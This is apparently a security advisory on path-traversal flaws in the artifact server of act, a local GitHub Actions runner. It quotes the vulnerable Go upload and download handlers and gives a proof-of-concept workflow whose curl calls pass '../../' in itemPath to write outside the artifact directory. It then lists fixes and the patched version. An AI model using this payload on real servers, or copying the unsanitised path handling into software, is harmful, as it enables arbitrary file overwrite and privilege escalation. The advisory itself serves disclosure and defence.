act vulnerable to arbitrary file upload in artifact server

Impact

The artifact server that stores artifacts from Github Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a Github Action. This issue may lead to privilege escalation.

Issue 1: Arbitrary file upload in artifact server (GHSL-2023-004)

The /upload endpoint is vulnerable to path traversal as filepath is user controlled, and ultimately flows into os.Mkdir and os.Open.

router.PUT("/upload/:runId", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
		itemPath := req.URL.Query().Get("itemPath")
		runID := params.ByName("runId")

		if req.Header.Get("Content-Encoding") == "gzip" {
			itemPath += gzipExtension
		}

		filePath := fmt.Sprintf("%s/%s", runID, itemPath)

Issue 2: Arbitrary file download in artifact server (GHSL-2023-004)

The /artifact endpoint is vulnerable to path traversal as the path is variable is user controlled, and the specified file is ultimately returned by the server.

router.GET("/artifact/*path", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
		path := params.ByName("path")[1:]

		file, err := fsys.Open(path)

Proof of Concept

Below I have written a Github Action that will upload secret.txt into the folder above the specified artifact directory. The first call to curl will create the directory named 1 if it does not already exist, and the second call to curl will upload the secret.txt file to the directory above the specified artifact directory.

When testing this POC, the --artifact-server-path parameter must be passed to act in order to enable the artifact server.
Replace yourIPandPort with the IP and port of the server. An attacker can enumerate /proc/net/tcp in order to find the artifact server IP and port, but this is out of the scope of this report. Please let me know if you would like a copy of this script.

name: CI
on: push

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
    - run: echo "Here are some secrets" > secret.txt
    - run: curl http://<yourIPandPort>/upload/1?itemPath=secret.txt --upload-file secret.txt
    - run: curl http://<yourIPandPort>/upload/1?itemPath=../../secret.txt --upload-file secret.txt

Remediation

1. During implementation of Open and OpenAtEnd for FS, please ensure to use ValidPath() to check against path traversal. See more here: https://pkg.go.dev/io/fs#FS
2. Clean the user-provided paths manually

Patches

Version 0.2.40 contains a patch.

Workarounds

Avoid use of artifact server with --artifact-server-path